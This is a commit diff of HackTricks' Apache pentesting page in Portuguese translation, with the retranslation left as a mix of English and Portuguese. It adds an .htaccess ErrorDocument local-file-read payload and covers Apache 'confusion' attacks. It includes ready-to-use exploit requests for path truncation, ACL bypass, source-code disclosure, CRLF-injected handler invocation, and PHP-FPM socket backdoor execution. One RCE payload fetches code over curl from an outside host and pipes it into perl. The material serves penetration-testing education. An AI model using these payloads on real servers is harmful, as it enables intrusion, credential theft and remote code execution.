Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m

2025-10-10 18:36:50 +00:00 · 2025-08-28 18:51:07 +00:00 · 2025-08-28 18:51:07 +00:00 · a6275ac042
commit a6275ac042
parent ae1de7fd4d
2 changed files with 398 additions and 361 deletions
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
--- a/src/network-services-pentesting/pentesting-web/apache.md
+++ b/src/network-services-pentesting/pentesting-web/apache.md
@ -4,7 +4,7 @@

 ## Extensões PHP executáveis

-Verifique quais extensões estão sendo executadas pelo servidor Apache. Para procurá-las, você pode executar:
+Verifique quais extensões o servidor Apache está executando. Para procurá-las, você pode executar:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 Linux
 ```
+## LFI via .htaccess ErrorDocument file provider (ap_expr)
+
+Se você consegue controlar o .htaccess de um diretório e AllowOverride inclui FileInfo para esse caminho, você pode transformar respostas 404 em leituras arbitrárias de arquivos locais usando a função ap_expr file() dentro do ErrorDocument.
+
+- Requisitos:
+- Apache 2.4 com parser de expressões (ap_expr) habilitado (padrão no 2.4).
+- O vhost/dir deve permitir que .htaccess defina ErrorDocument (AllowOverride FileInfo).
+- O usuário worker do Apache deve ter permissões de leitura no arquivo alvo.
+
+.htaccess payload:
+```apache
+# Optional marker header just to identify your tenant/request path
+Header always set X-Debug-Tenant "demo"
+# On any 404 under this directory, return the contents of an absolute filesystem path
+ErrorDocument 404 %{file:/etc/passwd}
+```
+Acione solicitando qualquer caminho inexistente abaixo desse diretório, por exemplo ao abusar de userdir-style hosting:
+```bash
+curl -s http://target/~user/does-not-exist | sed -n '1,20p'
+```
+Notas e dicas:
+- Apenas caminhos absolutos funcionam. O conteúdo é retornado como o corpo da resposta do 404 handler.
+- As permissões efetivas de leitura são as do usuário Apache (tipicamente www-data/apache). Você não conseguirá ler /root/* ou /etc/shadow em configurações padrão.
+- Mesmo que .htaccess seja de propriedade root, se o diretório pai for de propriedade do tenant e permitir renomear, você pode conseguir renomear o .htaccess original e enviar sua própria substituição via SFTP/FTP:
+- rename .htaccess .htaccess.bk
+- put your malicious .htaccess
+- Use isto para ler o código-fonte da aplicação sob DocumentRoot ou caminhos de configuração de vhost para coletar segredos (DB creds, API keys, etc.).
+
 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>

-Esses tipos de ataques foram introduzidos e documentados [**pela Orange neste post do blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) e o seguinte é um resumo. O ataque "confusão" basicamente explora como os dezenas de módulos que trabalham juntos para criar um Apache não funcionam perfeitamente sincronizados e fazer com que alguns deles modifiquem alguns dados inesperados pode causar uma vulnerabilidade em um módulo posterior.
+These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

 ### Filename Confusion

 #### Truncation

-O **`mod_rewrite`** irá truncar o conteúdo de `r->filename` após o caractere `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Isso não está totalmente errado, já que a maioria dos módulos tratará `r->filename` como uma URL. Mas em outras ocasiões isso será tratado como um caminho de arquivo, o que causaria um problema.
+The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.

 - **Path Truncation**

-É possível abusar do `mod_rewrite` como no seguinte exemplo de regra para acessar outros arquivos dentro do sistema de arquivos, removendo a última parte do caminho esperado adicionando simplesmente um `?`:
+It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
 curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`
 ```
- **Atribuição de RewriteFlag Enganosa**
+- **Atribuição RewriteFlag enganosa**

-Na seguinte regra de reescrita, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termina em .php após o caractere `?` enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele:
+Na seguinte regra de rewrite, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termine em .php após o caractere `?` enquanto carrega no caminho um tipo de arquivo diferente (como uma imagem) com código php malicioso dentro dela:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@ -61,9 +89,9 @@ curl http://server/upload/1.gif
 curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
 ```
-#### **Bypass de ACL**
+#### **ACL Bypass**

-É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo que o acesso deva ser negado com configurações como:
+É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo quando o acesso deveria ser negado com configurações como:
 ```xml
 <Files "admin.php">
 AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-Isso ocorre porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php` e, como o PHP-FPM removerá qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php`, mesmo que a regra anterior a proíba.
+Isto acontece porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php`, e como o PHP-FPM remove qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php` mesmo que a regra anterior o proibisse.

-### Confusão do DocumentRoot
+### Confusão no DocumentRoot
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Um fato interessante sobre o Apache é que a reescrita anterior tentará acessar o arquivo tanto do documentRoot quanto da raiz. Assim, uma solicitação para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e `/about.html` no sistema de arquivos. Isso pode ser basicamente explorado para acessar arquivos no sistema de arquivos.
+Um fato curioso sobre Apache é que o rewrite anterior tentará acessar o arquivo tanto a partir do documentRoot quanto a partir do root. Assim, uma requisição para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e em `/about.html` no sistema de arquivos. Isso basicamente pode ser abusado para acessar arquivos no sistema de arquivos.

-#### **Divulgação de Código Fonte do Lado do Servidor**
+#### **Divulgação de código-fonte do lado do servidor**

- **Divulgar Código Fonte CGI**
+- **Divulgar código-fonte de CGI**

-Basta adicionar um %3F no final para vazar o código fonte de um módulo cgi:
+Adicionar um %3F ao final é suficiente para leak o código-fonte de um cgi module:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@ -95,24 +123,24 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
- **Divulgar Código Fonte PHP**
+- **Divulgar PHP Source Code**

-Se um servidor tiver diferentes domínios, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e vazar código php:
+Se um servidor possui domínios diferentes, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e leak php code:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 # the source code of config.php
 ```
-#### **Manipulação de Gadgets Locais**
+#### **Local Gadgets Manipulation**

-O principal problema com o ataque anterior é que, por padrão, a maioria dos acessos ao sistema de arquivos será negada, como na [configuração padrão](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) do Apache HTTP Server:
+O principal problema com o ataque anterior é que, por padrão, a maior parte do acesso ao sistema de arquivos será negada, como no [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-No entanto, os sistemas operacionais [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) permitem por padrão `/usr/share`:
+No entanto, sistemas operacionais [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) por padrão permitem `/usr/share`:
 ```xml
 <Directory /usr/share>
 AllowOverride None
@ -121,36 +149,36 @@ Require all granted
 ```
 Portanto, seria possível **abusar de arquivos localizados dentro de `/usr/share` nessas distribuições.**

-**Gadget Local para Divulgação de Informações**
+**Local Gadget to Information Disclosure**

- **Apache HTTP Server** com **websocketd** pode expor o script **dump-env.php** em **/usr/share/doc/websocketd/examples/php/**, que pode vazar variáveis de ambiente sensíveis.
- Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis de aplicações web (por exemplo, **web.xml**) através de suas raízes web padrão localizadas em **/usr/share**:
+- **Apache HTTP Server** com **websocketd** pode expor o script **dump-env.php** em **/usr/share/doc/websocketd/examples/php/**, o que pode leak variáveis de ambiente sensíveis.
+- Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis da aplicação web (por exemplo, **web.xml**) através de suas raízes web padrão colocadas sob **/usr/share**:
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**

-**Gadget Local para XSS**
+**Local Gadget to XSS**

- No Ubuntu Desktop com **LibreOffice instalado**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões mais antigas através de **unsafe RewriteRule**.
+- No Ubuntu Desktop com **LibreOffice installed**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões antigas através de **unsafe RewriteRule**.

-**Gadget Local para LFI**
+**Local Gadget to LFI**

- Se PHP ou certos pacotes front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**:
+- Se PHP ou certos pacotes de front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**

-**Gadget Local para SSRF**
+**Local Gadget to SSRF**

- Utilizando **MagpieRSS's magpie_debug.php** em **/usr/share/php/magpierss/scripts/magpie_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo um gateway para mais explorações.
+- Utilizando o **MagpieRSS's magpie_debug.php** em **/usr/share/php/magpierss/scripts/magpie_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo uma porta para exploits adicionais.

-**Gadget Local para RCE**
+**Local Gadget to RCE**

- As oportunidades para **Remote Code Execution (RCE)** são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, demonstrando o extenso potencial da manipulação de gadgets locais.
+- As oportunidades para Remote Code Execution (RCE) são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, mostrando o extenso potencial da manipulação de local gadgets.

-#### **Jailbreak a partir de Gadgets Locais**
+#### **Jailbreak from Local Gadgets**

-Também é possível fazer jailbreak a partir das pastas permitidas seguindo symlinks gerados por softwares instalados nessas pastas, como:
+Também é possível jailbreak a partir das pastas permitidas seguindo symlinks gerados pelo software instalado nessas pastas, como:

 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -158,53 +186,52 @@ Também é possível fazer jailbreak a partir das pastas permitidas seguindo sym
 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`

-Além disso, abusando de symlinks foi possível obter **RCE no Redmine.**
+Além disso, abusando de symlinks foi possível obter **RCE in Redmine.**

-### Confusão de Manipuladores <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
+### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>

-Este ataque explora a sobreposição de funcionalidade entre as diretivas `AddHandler` e `AddType`, que podem ser usadas para **habilitar o processamento PHP**. Originalmente, essas diretivas afetavam campos diferentes (`r->handler` e `r->content_type`, respectivamente) na estrutura interna do servidor. No entanto, devido a código legado, o Apache trata essas diretivas de forma intercambiável sob certas condições, convertendo `r->content_type` em `r->handler` se o primeiro estiver definido e o último não.
+This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.

-Além disso, no Apache HTTP Server (`server/config.c#L420`), se `r->handler` estiver vazio antes de executar `ap_run_handler()`, o servidor **usa `r->content_type` como o manipulador**, efetivamente tornando `AddType` e `AddHandler` idênticos em efeito.
+Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.

-#### **Sobrescrever Manipulador para Divulgar Código Fonte PHP**
+#### **Overwrite Handler to Disclose PHP Source Code**

-Em [**esta palestra**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache **retorne o código fonte PHP**. Isso ocorreu devido a um problema de manuseio de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever `r->content_type` para `text/html`.\
-Como o ModSecurity não lida corretamente com valores de retorno, ele retornaria o código PHP e não o interpretaria.
+Em [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache enganosamente **retorne o código-fonte PHP**. Isso ocorreu por causa de um problema no tratamento de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever `r->content_type` para `text/html`.\ Porque ModSecurity não trata adequadamente os valores de retorno, ele retornaria o código PHP e não o interpretaria.

-#### **Sobrescrever Manipulador para XXXX**
+#### **Overwrite Handler to XXXX**

-TODO: Orange ainda não divulgou essa vulnerabilidade
+TODO: Orange ainda não divulgou esta vulnerabilidade

-### **Invocar Manipuladores Arbitrários**
+### **Invoke Arbitrary Handlers**

-Se um atacante conseguir controlar o cabeçalho **`Content-Type`** em uma resposta do servidor, ele poderá **invocar manipuladores de módulo arbitrários**. No entanto, no ponto em que o atacante controla isso, a maior parte do processo da solicitação já terá sido concluída. No entanto, é possível **reiniciar o processo da solicitação abusando do cabeçalho `Location`** porque se o `Status` retornado for 200 e o cabeçalho `Location` começar com uma `/`, a resposta é tratada como uma Redireção do Lado do Servidor e deve ser processada.
+If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed

-De acordo com [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (especificação sobre CGI) na [Seção 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) define um comportamento de Resposta de Redirecionamento Local:
+According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:

-> O script CGI pode retornar um caminho URI e uma string de consulta (‘local-pathquery’) para um recurso local em um campo de cabeçalho Location. Isso indica ao servidor que ele deve reprocessar a solicitação usando o caminho especificado.
+> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

-Portanto, para realizar este ataque é necessário uma das seguintes vulnerabilidades:
+Portanto, para realizar este ataque é necessário uma das seguintes vulns:

- Injeção CRLF nos cabeçalhos de resposta CGI
- SSRF com controle completo dos cabeçalhos de resposta
+- CRLF Injection in the CGI response headers
+- SSRF with complete control of the response headers

-#### **Manipulador Arbitrário para Divulgação de Informações**
+#### **Arbitrary Handler to Information Disclosure**

-Por exemplo, `/server-status` deve ser acessível apenas localmente:
+For example `/server-status` should only be accessible locally:
 ```xml
 <Location /server-status>
 SetHandler server-status
 Require local
 </Location>
 ```
-É possível acessá-lo definindo o `Content-Type` como `server-status` e o cabeçalho Location começando com `/`
+É possível acessá-lo definindo o `Content-Type` como `server-status` e o Location header começando com `/`
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **Manipulador Arbitrário para SSRF Completo**
+#### **Manipulador Arbitrário para Full SSRF**

 Redirecionando para `mod_proxy` para acessar qualquer protocolo em qualquer URL:
 ```
@ -215,20 +242,20 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da nuvem.
+No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da cloud.

-#### **Manipulador Arbitrário para Acessar o Soquete de Domínio Unix Local**
+#### **Handler Arbitrário para Acessar o Unix Domain Socket Local**

-Acesse o Soquete de Domínio Unix local do PHP-FPM para executar um backdoor PHP localizado em `/tmp/`:
+Acesse o Unix Domain Socket local do PHP-FPM para executar um PHP backdoor localizado em `/tmp/`:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
 %0d%0a
 ```
-#### **Manipulador Arbitrário para RCE**
+#### **Arbitrary Handler to RCE**

-A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser explorada para obter RCE:
+A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser abusada para obter RCE:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +264,13 @@ orange.tw/x|perl
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-Verifique o [**Resumo de LFI do Docker PHP**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para os detalhes desta técnica.
+Consulte [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para os detalhes desta técnica.

 ## Referências

 - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
+- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
+- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
+- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)

 {{#include ../../banners/hacktricks-training.md}}